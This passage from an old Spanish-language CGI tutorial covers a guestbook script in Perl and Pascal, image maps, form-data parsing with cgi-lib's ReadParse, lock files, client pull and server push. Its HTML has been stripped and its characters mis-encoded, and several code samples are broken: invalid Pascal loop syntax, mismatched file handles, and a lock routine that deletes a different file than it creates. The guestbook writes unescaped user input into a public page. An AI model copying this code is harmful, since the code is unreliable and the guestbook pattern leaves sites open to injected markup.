³
³print "
\n"; ³
³print "\n"; ³
³exit; <ÄÄÄ Esto hace una llamada para ³
³} finalizar el script luego ³
³ del mensaje de error. ³
³ ³
³open(GB,"; original guardando su conte-³
³close GB; nido en el array "lineas". ³
³ ³
³$comentario =~ s/\n/
\n/go; <ÄÄÄ Agregamos los "breaks" ³
³ en cada newline del ³
³ contenido de la TEXTAREA. ³
³ ³
³ ³
³ open(GB,">/htdocs/mini-gb.htm"); ³
³ foreach $linea (@lineas) { ³
³ $linea =~ s//\nNombre: ³
³ $nombre
\n Email: $email<\A>
\n ³
³ Comentarios:
\n$comentario
\n/o; ³
³ ³ ³
³ print GB $line; ÀÄ>Aqu¡ grabamos cada l¡nea,reemplazando ³
³ } con el input del usuario en el lugar ³
³ close GB; donde encontremos la marca. ³
³ ³
³ ³
³print "Location: http://mimaquina.midominio/httdocs/gracias.htm\n\n"; ³
³ ³ ³
³ ÀÄ>Vamos a la p gina de agradecimiento. ³
³ ³
³ ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ PASCAL ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Uses TPWCGI; <ÄÄÄ Inclu¡mos la librer¡a. ³
³ ³
³Var nombre, edad, linea <ÄÄÄ Definimos las variables ³
³ equipo, email :string; que vamos a usar. ³
³ Arch-In, Arch-Out :text; ³
³ ³
³assign (Arch-In,'D:\WEBSITE\HTDOCS\MINI-GB.HTM'); ³
³assign (Arch-Out,'D:\WEBSITE\HTDOCS\MINI-GB.TMP'); ³
³ ³
³reset (Arch-in); ³
³rewrite (Arch-Out); ³
³linea := ''; ³
³ ³
³Begin ³
³StartCGI; ³
³ ³
³nombre := Getvalue ('nombre',1); <ÄÄÄ Asignamos los valores que ³
³email := Getvalue ('email',1); nos enviaron a las variables³
³comentario := Getvalue ('comentario',1); para utilizarlos. ³
³ ³
³ ³
³if (( nombre = '') or (email = '') <ÄÄÄ Si alguno de los campos est ³
³ or (comentario = '') ) vac¡o, retornaremos la ³
³then begin siguiente p gina con este ³
³ MakeHeader; mensaje de error. ³
³ Send (''); ³
³ Send (''); ³
³ Send (' Error en el Ingreso'); ³
³ Send (''); ³
³ Send (''); ³
³ Send ('
'); ³
³ Send ('Alguno de los campos que ingres¢ no conten¡a datos
'); ³
³ Send ('Por favor apriete este boton e ingrese sus datos nuevamente'); ³
³ Send (' ³
³ Send ('
\n'); ³
³ Send (''); ³
³ EndCGI; ³
³ end; ³
³ ³
³else begin ³
³ ³
³ Readln (Arch-In, linea); ³
³ while and NOT EOF (Arch-In) do ³
³ begin ³
³ Writeln (Arch-Out, linea); Ú>Aqu¡ grabamos cada l¡nea,reemplazando³
³ Readln (Arch-In, linea); ³ con el input del usuario en el lugar ³
³ ³ donde encontremos la marca. ³
³ ³ ³
³ If (linea = '') ³
³ then begin ³
³ Writeln (Arch-Out, linea); ³
³ linea := 'Nombre: '+nombre+'
'; ³
³ Writeln (Arch-Out, linea); ³
³ linea := 'Email:+email+'
';³
³ Writeln (Arch-Out, linea); ³
³ linea := 'Comentario:
'; ³
³ Writeln (Arch-Out, linea); ³
³ for i := 1 to GetLinNum ('comentario') do ³
³ begin ³
³ linea := GetValue ('comentario',1)+'
'; ³
³ Writeln (Arch-Out, linea); ³
³ end; ³ ³
³ end; ÀÄÄÄÄ> Agregamos los "breaks" ³
³ end; en cada newline del ³
³ contenido de la TEXTAREA. ³
³Close (FI); ³
³Close (FO); ³
³ ³
³erase (FI); ³
³rename (FO,'D:\WEBSITE\HTDOCS\DOCUMEN\MINI-GB.HTM'); ³
³ ³
³Send ('Location: http://mimaquina.midominio/httdocs/gracias.htm'); ³
³Send (''); ³ ³
³EndCgi ÀÄ>Vamos a la p gina de agradecimiento. ³
³end. ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Me pareci¢ redundante incluir la versi¢n en C ya que esta puede ser f cilmente
inducida a partir del fuente en Pascal.
Como el TEXTAREA que utilizamos para cargar el comentario entrega sus datos
s¢lo separados por newlines, tuvimos que hacer un peque¤o proceso en cada
uno de los programas para generar un
por cada uno de ellos en la p gina
definitiva.
Notar n que existe diferencias en la forma de hacer el "update" del archivo en
cada una de las versiones. En el fuente Perl aprovech‚ una funci¢n de sustitu
ci¢n bastante potente que simplifica las cosas, en cambio en la versi¢n en
Pascal hubo que hacer dicha sustituci¢n "a mano".
Para finalizar esta segunda parte veremos una especie de lista de cosas a
tomar en cuenta la hora de programar scripts CGI.
Puntos importantes al programar scripts.
Un script CGI debe;
* Ser ejecutable (o en el caso de Perl incluir la llamada al int‚rprete)
* Estar ubicado en el directorio cgi-bin. La ubicaci¢n de este server va a
estar definida por el administrador del server.
* Sea capaz de acceder a los archivos que necesita.
Como el script corre desde el directorio cgi-bin, todas las referencias
relativas que hagamos van a estar referenciadas al mismo. Por las dudas,
cuando tengamos que retornar una p gina HTML completa, usemos su URL
completa (http://....) .
* Tener seteados los permisos correctamente.
Perdonen que siga jodiendo con lo mismo, pero m s de una vez las cosa no me
anduvieron por esta sencilla raz¢n. (Nadie pod¡a ejecutar el programa
excepto yo...)
------------------------------------------------------------------------------
Im genes clikeables.
A pesar que este tipo de elementos no est conectado directamente con los
scripts CGI pens‚ en incluirlos dado que tambi‚n son una de las formas de
incrementar la interactividad entre el usuario y el web site.
B sicamente una im gen clikeable (es una acepci¢n que invent‚, ya fu‚ la que
me pareci¢ m s correcta en castellano) es una im gen, un gr fico que cuando es
clikeada en alguna de sus partes env¡a las coordenadas X e Y de la posici¢n del
mouse en ese momento y el server a partir de ellas genera un enlace con otras
p ginas.
El uso m s com£n de este tipo de im genes es crear barras de herramientas
personalizadas, o regiones en un gr fico que permitan al usuario navegar hasta
un nuevo documento.
En teor¡a existen tres formas de lograr este tipo de imagenes;
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Server-Side Image Maps (antigua) ³
³Es la forma m s antigua, utilizaba un FORM para enviar la informaci¢n y ³
³hab¡a que programar un script en el server que procesara dicha informaci¢n. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Server-Side Image Maps (moderna) ³
³Es la forma m s com£n y m s ampliamente utilizada, utiliza el tag ISMAP y la³
³informaci¢n es procesada por el web server. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Client-Side Image Maps ³
³Es la forma m s moderna (y menos difundida) s¢lo soportada por los browsers ³
³en sus £ltimas versiones,y la informaci¢n es procesada por el mismo browser.³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Como todos los Web servers de la actualidad soportan la segunda forma,
descartaremos la revisi¢n de la primera y comenzaremos directamente a usar el
tag ISMAP.
Partiendo de una imagen (un .GIF) elegiremos dentro de ella las reas que
funcionar n como links a otros documentos.
Dichas reas pueden ser definidas en base a uno o m s de los siguientes
elementos.
RECT (x1,y1) (x2,y2) Determina un rea rectangular en base a los v‚rtices de
su diagonal principal.
CIRCLE (a,b,r) Determina un c¡rculo de centro (a,b) y de radio r.
POLY (x1,y1) (x2,y2) .... (x1,y1) Determina un pol¡gono cuyos v‚rtices (x,y)
son dispuestos secuencialmente uno detr s de otro.
Almacenaremos estos elementos en un archivo que tendr m s o menos el
siguiente formato:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ default /default.htm ³
³ RECTANGLE (475,157) (611,344) /principal.htm ³
³ RECTANGLE (233,182) (447,359) /buscar.htm ³
³ CIRCLE (130,54,20) /circulo.htm ³
³ POLY (46,27) (57,33) (58,23) (68,35) (46,27) /carita.htm ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Usando un paquete gr fico cualquiera y revisando la posici¢n del cursor
podremos construir este tipo de archivos, el £nico problema es que nos puede
resultar bastante tedioso el hacerlo "a mano".
Existe un freeware realmente excelente llamado MapThis! que hace todo el
trabajo por nosotros que puede ser bajado de cualquier repositorio de
shareware como OAK, Garbo, CICA, SimTel, etc..
Veamos entonces la estructura del archivo. La primera l¡nea linkea el
documento que ser cargado en caso de que no clikeemos en ninguna de las
reas especificadas por los elementos que definimos. Si omitimos el tipo de
elemento el server tomar por default el RECT.
Por convenci¢n, grabaremos este archivo con la extensi¢n .MAP en el directorio
que m s nos convenga.
Cuando tengamos que poner el tag IMG correspondiente a la imagen en la p gina
en cuesti¢n, agregaremos el par metro ISMAP y haremos un hyperlink al .MAP de
esta manera.
Entonces una vez cargada la p gina en nuestro browser, cada vez que clikeemos
en alguna parte de la imagen , el browser enviar las coordenas de la ubicaci¢n
en la que nos encontrabamos (esos numeritos que aparecen en la barra de status)
al server, y luego de esperar su proceso, ‚ste £ltimo nos devolver la
respuesta correspondiente.
Este mecanismo (Server-side), induce un cierto retardo (el proceso por parte
del server de nuestro pedido) por lo cual recientemente Netscape introdujo un
un nuevo mecanismo conocido como Client-Side Image Maps el cual veremos a
continuaci¢n.
Client-Side Image Maps.
En vez de realizar la conversi¢n coordenadas/hyperlink en el server, esta
ser realizada por el browser.
El .MAP que defin¡amos en el m‚todo anterior AHORA debe estar inclu¡do DENTRO
del c¢digo HTML con el siguiente formato.
Y el link en el tag IMG quedar¡a as¡:
En MAPNAME definimos el nombre del mapa y en USEMAP lo referenciamos.
Al probarlo podremos ver que en la barra de status no aparecen las coordenadas
sino directamente el nombre de la p gina en cuestion. Si utilizamos nombres
de p gina significativos esto puede ser de gran ayuda para el usuario.
Este m‚todo obviamente es mucho m s r pido (no implica un intercambio de
informaci¢n con el server) pero tiene la desventaja de que no est
implementado en todos los browsers todav¡a, a pesar de que est propuesto
como est ndar para la definici¢n de HTML 3.0.
Para cubrir este aspecto podemos utilizar los dos m‚todos simult neamente
de esta manera.
Si el browser no llegara a entender el USEMAP, procesar nuestro pedido en
base al link del ISMAP.
Desempaquetando informaci¢n.
Aunque este tema puede resultar algo "t‚cnico" creo que resulta interesante
incorporarlo al tutorial, ya que nos permite conocer el funcionamiento de esas
"cajas negras" que son las librer¡as, las cuales hemos utilizado al programar
nuestros scripts.
Sabemos que cuando usamos el m‚todo POST toda la informaci¢n de un form es
"empaquetada" en una variable llamada QUERY_STRING, pero... en qu‚ forma?
La variable QUERY_STRING puede almacenar solamente un string continuo sin
espacios, de manera que para enviar varios campos (y espacios) debe existir
alg£n tipo de codificaci¢n de los mismos.
De hecho, podemos verla en el siguiente ejemplo.
Supongamos que en nuestro form solicitamos los siguientes datos:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Nombre: Sebastian ³ (para variar :)
³Edad: 22 ³
³Simpatizante de: Boca Juniors ³ (que grande boquita:->
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Como dec¡amos estos datos deben ser empaquetados en un £nico string, esto se
hace poniendo un "&" (ampersand) entre cada variable y reemplazando cada
espacio por un signo "+", con lo cual conseguimos que la variable quede as¡;
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºQUERY_STRING = "nombre=Sebastian&edad=22&equipo="Boca+Juniors"º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Adicionalmente, ciertos caracteres son reemplazados por su valor ASCCI en un
formato hexadecimal (%xx). Como vemos, esta ensalada de letras es imposible
de manejar tal como est , por lo tanto recurrimos a los "parsers" cuya funci¢n
es la de separar estos valores en c¢modas y agradables variables.
Parsers CGI.
La rutina escrita para Perl es un poco (s¢lo un poco) m s clara que su
correspondiente equivalente en C, por lo tanto la utilizaremos para la
explicaci¢n del funcionamiento de un parser.
Perl utiliza los llamados "arrays asociativos" que son muy similares
a los arrays que todos conocemos, excepto por la salvedad (y a la vez gran
ventaja) de que los ¡ndices no son n£mericos, sino alfan£mericos.
C¢mo es esto ? En esta rutina, todos los campos que se separan son almacenados
en un array asociativo con el nombre @in. Si queremos acceder al contenido
del campo edad, por ejemplo, ‚ste se encuentra en la posici¢n "edad" y el
c¢digo empleado es el siguiente.
@in { 'nombre'};
Lo que sigue es la rutina &ReadParse (que figura en la l¡breria "cgi-lib.pl"
de S.E.Brenner) comentada ampliamente para su mejor entendimiento.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³# Perl Routines to Manipulate CGI input ³
³# S.E.Brenner@bioc.cam.ac.uk ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³# ReadParse ³
³# Lee datos env¡ados con POST o GET, los convierte a texto simple,y pone ³
³# un campo=valor en cada componente de la lista "@in" ³
³# Tambi‚n crea pares de campo/valores en %in, usando '\0' para separar ³
³# selecciones m£ltiples ³
³ ³
³sub ReadParse { ³
³ # Definici¢n de las variables a utilizar. ³
³ local (*in) = @_ if @_; ³
³ local ($i, $loc, $key, $val); ³
³ ³
³ # De acuerdo al m‚todo de env¡o almacena en la variable $in el texto. ³
³ if ($ENV{'REQUEST_METHOD'} eq "GET") { ³
³ $in = $ENV{'QUERY_STRING'}; ³
³ } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { ³
³ read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); ³
³ } ³
³ ³
³ @in = split(/&/,$in); #separa en un array los contenidos de $in que se³
³ encuentran separados por "&" ³
³ ³
³ foreach $i (0 .. $#in) { ³
³ #Convierte los "+" en espacios. ³
³ $in[$i] =~ s/\+/ /g; ³
³ ³
³ # Separa el campo y su contenido . ³
³ ($key, $val) = split(/=/,$in[$i],2); # corta en el primer =. ³
³ ³
³ # Convierte %XX de n£meros hexadecimales a alfan£mericos. ³
³ $key =~ s/%(..)/pack("c",hex($1))/ge; ³
³ $val =~ s/%(..)/pack("c",hex($1))/ge; ³
³ ³
³ # Asocia cada campo con su valor. ³
³ # usando \0 como separador de elementos m£ltiples(checkbox por ej) ³
³ $in{$key} .= "\0" if (defined($in{$key})); ³
³ $in{$key} .= $val; ³
³ ³
³ } ³
³ return 1; ³
³} ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Esta no es la £nica librer¡a que existe para manejar CGI bajo Perl , pero
s¡ la m s utilizada. Seg£n el autor nuevas versiones incorporar n m s
facilidades, tales como file uploading y otras.
Locking de archivos.
En la segunda parte de este documento plante‚ el hecho problem tico de que dos
usuarios pretendan acceder al mismo tiempo a un mismo archivo, como es el caso
del mini-guestbook.
En Unix tenemos recursos que nos permiten realizar este tipo de bloqueos con
una llamada al sistema, pero bajo otros sistemas (y para mantener la "transpor
tabilidad" de nuestros scripts, veremos una t‚cnica muy simple que puede ser
implementada en cualquier plataforma y que puede ser utilizada sin problemas.
Cuando dos usuarios quieren leer/escribir un mismo archivo (en realidad los
scripts llamados por ellos) se produce un conflicto, el de saber quien tiene
la prioridad al hacerlo. Una manera de resolver este conflicto es crear un
archivo "lock" cuya sola presencia nos indique que el archivo esta siendo
accedido en ese momento.
As¡ cuando nuestro script pretenda leer/escribir el archivo, primero consultar
la existencia del "lock", si existe esperar un segundo y volver a intentar
y en caso de que no exista lo crear y proceder a la consulta.
Un ejemplo comentado en Perl nos mostrar esta t‚cnica:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³$salir = 'no'; ³
³ while ($salir != 'si') { ³
³ if (-e "/mini-gb.lock") { ³
³ # Si el archivo existe, esperamos 1 segundo. ³
³ sleep(1); ³
³ } ³
³ else { ³
³ # Al no existir el archivo, lo creamos y empezamos el proceso.³
³ open(LOCK,">/mini-gb.lock"); ³
³ close LOCK; ³
³ . . . . . . . . .Proceso de nuestro script. . . . . . . . . ³
³ ³
³ # Destrabamos el archivo (lo eliminamos) ³
³ unlink("/guestlock"); ³
³ ³
³ #Salimos de nuestra rutina ³
³ $salir = si; ³
³ } ³
³ } ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Scripts avanzados.
A partir de este punto analizaremos en detalle los requisitos para el manejo
de documentos din micos, profundizando en el conocimiento de la forma de
trabajo del protocolo HTTP y los mensajes MIME.
Documentos Din micos
Para introducirnos en el tema de los documentos din micos nos basaremos en una
aplicaci¢n pr ctica, la animaci¢n, es decir imagenes en movimiento sin dejar
de lado el hecho de que esta £ltima es s¢lo una de las m£ltiples posibilidades
que nos brinda el manejo din mico de la informaci¢n.
Actualmente existen tres m‚todos (si incluimos el gif multipart) para poder
manejar informaci¢n din micamente, en orden de eficiencia estos son;
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Client Pull ³
³El server env¡a un "stream" de informaci¢n, incluyendo una directiva (en la ³
³respuesta HTTP) que dice "vuelva a cargar estos datos en 5 segundos" o "vaya³
³y cargue esta URL en 10 segundos". Desp£es de que se cumple el tiempo especi³
³ficado, el browser hace lo que se le indic¢, o sea recargar la p gina actual³
³o conseguir una nueva p gina. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Server Push ³
³El server env¡a un "stream" de informaci¢n y el browser la muestra, pero ³
³sigue manteniendo la conexi¢n abierta; cuando el server lo requiera, puede ³
³continuar enviando m s informaci¢n para que el browser la muestre, y as¡ ³
³sucesivamente.. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Gif multipart ³
³Se trata del m‚todo m s avanzado (lo vieron en WebTV?) que utiliza un nuevo ³
³formato de imagen GIF en donde se incluyen m£ltiples cuadros separados por ³
³comandos de animaci¢n, los cuales pueden ser vistos con el browser de ³
³Netscape partir de la versi¢n 2.0 ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Analicemos en detalle cada uno de los m‚todos.
Client Pull
Para muestra basta un bot¢n, as¡ que de entrada prueben el siguiente c¢digo;
Primera p gina
HOLA!
Una demostracion de documentos dinamicos
Y?? Qu‚ pas¢?, por el bien de este tutorial espero que el documento haya sido
recargado por el browser al pasar un segundo.
Esto lo logramos al agregar el tag "META" (el cual permite simular respuestas
HTTP en p ginas HTML) que le dice al browser que el server le est enviando
un header con la indicaci¢n "Refresh: 1".
Cambiando el valor, cambiamos el tiempo de retardo obviamente.
Observemos que cada directiva "Refresh" es £nica y por tanto la p gina NO ser
refrescada cada un segundo eternamente, sino una £nica vez y que al tratarse
de una respuesta HTTP (simulada) la misma debe figurar al comienzo de nuestra
p gina.
Otra cosa que podemos lograr con este tag es cargar otro URL luego de una
determinada cantidad de tiempo. La sintaxis es la siguiente:
Que har que el browser luego de diez segundos de haber cargado la primera
p gina vaya y traiga la que se encuentra referenciada por la variable URL.
Un detalle importante es que debemos utilizar URLs absolutos, es decir incluir
en la definici¢n el "http://..." y no emplear URLs relativos.
Y que pasar¡a si hacemos lo siguiente:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³pri.html ³ seg.html ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ ³URL=http://mimaq.midominio//pri.html ³
³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
M s de uno se habr dado cuenta de que estos dos documentos se llaman el uno
al otro cada tres segundos, generando una especie de "loop" infinito.
A partir de este ejemplo, podemos inducir varias otras combinaciones tales
como la de un documento que se llame a si mismo cada 0 segundos provocando as¡
tambi‚n este tipo de "loops sin fin".
O podr¡amos hacer una cadena m s larga, como la que sigue;
P gina 1 ¿
P gina 2 ¿ Con la cual obtendr¡amos una especie
³ P gina 3 ¿ de animaci¢n aunque por cierto,
³ P gina 4 ¿ bastante pobre.
³ P gina 5
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Un ejemplo de utilizaci¢n pr ctica de esta t‚cnica ocurre en aquellas p ginas
que nos indican que la p gina original ha cambiado de lugar y que en cinco
segundos seremos autom ticamente redireccionados a la nueva ubicaci¢n.
Server Push
En contraste con el Client Pull, este mecanismo aprovecha que el server puede
mantener una conexi¢n abierta por un tiempo indefinido, dejando espacio para
que sean enviadas varias respuestas secuencialmente.
Para lograrlo se utiliza un tipo MIME experimental (nuevo, no registrado a£n
como standard) llamado "multipart/x-mixed-replace".
Mensajes MIME multipart.
Existen varios tipos diferentes de mensajes "multipart"MIME. Cada uno de ellos
le indica al cliente como debe procesar las diferentes partes que le ser n
enviadas.
Con el tipo "multipart/mixed", la informaci¢n de cada parte es independiente
de las otras, y el cliente deber¡a mostrar una tras otra a medida que van
llegando. Con el tipo "multipart/alternative", la informaci¢n de cada parte es
id‚ntica, pero estan formateadas de una manera distinta de manera que el
cliente determina cual es el "mejor" formato que puede mostrar (por ejemplo
elige "rich text" en vez de plain text) y lo muestra.
Con el tipo "multipart/parallel", el cliente deber¡a mostrar cada parte
simult neamente, si le fuera posible.
Con el tipo "multipart/mixed-replace" que ser el que utilizaremos, cada parte
del mensaje se superpone a la parte anterior; el cliente sobreescribe la
parte vieja con la m s nueva.
Un mensaje MIME multipart est compuesto de un header y una o m s partes que
componen la totalidad del mensaje. El header indica como deben ser procesadas
las distintas partes del mensaje y cuales son los separadores de las mismas,
como ejemplo;
Content-Type: multipart/x-mixed-replace;boundary=SeparaPartes
Cuando el cliente encuentra este tipo en el header, hace un refresh del sector
correspondiente cada vez que una nueva parte del mensaje llega,
sobreescribiendo de esta manera la anterior.
Cada parte del mensaje tiene su propio header, el cual indica el tipo de datos
que esa parte contiene, "plain text", un gr fico GIF o HTML por ejemplo.
El header de cada parte siempre se encuentra debajo del separador que
hallamos especificado (en la l¡nea que vimos le pusimos "SeparaPartes" de
nombre al separador , pero podr¡amos haber utilizado cualquier otro).
El server indica el fin de un mensaje multipart enviando un separador con el
agregado de dos guiones, por ejemplo nuestro separador quedar¡a;
--SeparaPartes
El script que sigue es una version reducida del NPH 1.2 creado por Matt Wright
y en ‚l veremos una implementaci¢n comentada del mecanismo que acabamos de
describir.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ #!/usr/bin/perl ³
³ # Variables ³
³ $veces = "1"; ³
³ $dirbase = "/WWW/images/animation/"; ³
³ @archivos = ("primero.gif","segundo.gif","tercero.gif","primero.gif"); ³
³ $tipo = "gif"; ³
³ ³
³ # Hacemos que el stream de datos fluya sin un buffer para hacerlo mas rapid³
³ select (STDOUT); ³
³ $| = 1; ³
³ ³
³ # Comienzo del contenido multipart. ³
³ print "Content-Type: multipart/x-mixed-replace;boundary=separador\n\n"; ³
³ print "--separador\n"; ³
³ ³
³ # Este for toma cada imagen de la secuencia, la env¡a, manda un separador ³
³ #y luego env¡a la siguiente, repitiendolo las veces que indique $veces. ³
³ for ($num=1;$num<=$veces;$num++) { ³
³ foreach $archi (@archivos) { ³
³ print "Content-Type: image/$tipo\n\n"; ³
³ open(GIF,"$dirbase$archi"); ³
³ print ; ³
³ close(GIF); ³
³ print "\n--separador\n"; ³
³ } ³
³ } ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Lo £nico que me quedar¡a por aclarar es que ya que el tipo "x-mixed/replace"
fu‚ definido por Netscape, solamente funcionar con su browser versi¢n 1.1 y
posteriores.
GIF multipart.
En este caso no tendremos que programar nada y es por lejos la forma m s simple
de armar una animaci¢n, aunque mantiene la desventaja de ser visualizados
£nicamente por el Netscape 2.0 en adelante.
En definitiva se trata de ampliar las posibilidades del formato GIF89A (aquel
que nos permite utilizar backgrounds transparentes).
Los archivos .GIF tienen al comienzo un "header" que indica su tama¤o y otros
datos, con programas como el Gif Construction Set ampliaremos este header e
inclu¡remos l¡neas con la secuencia de im genes y comandos de control.
El header de una animaci¢n simple quedar¡a de la siguiente manera:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ HEADERGIF89AScreen(320x200) ³
³ LOOP ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
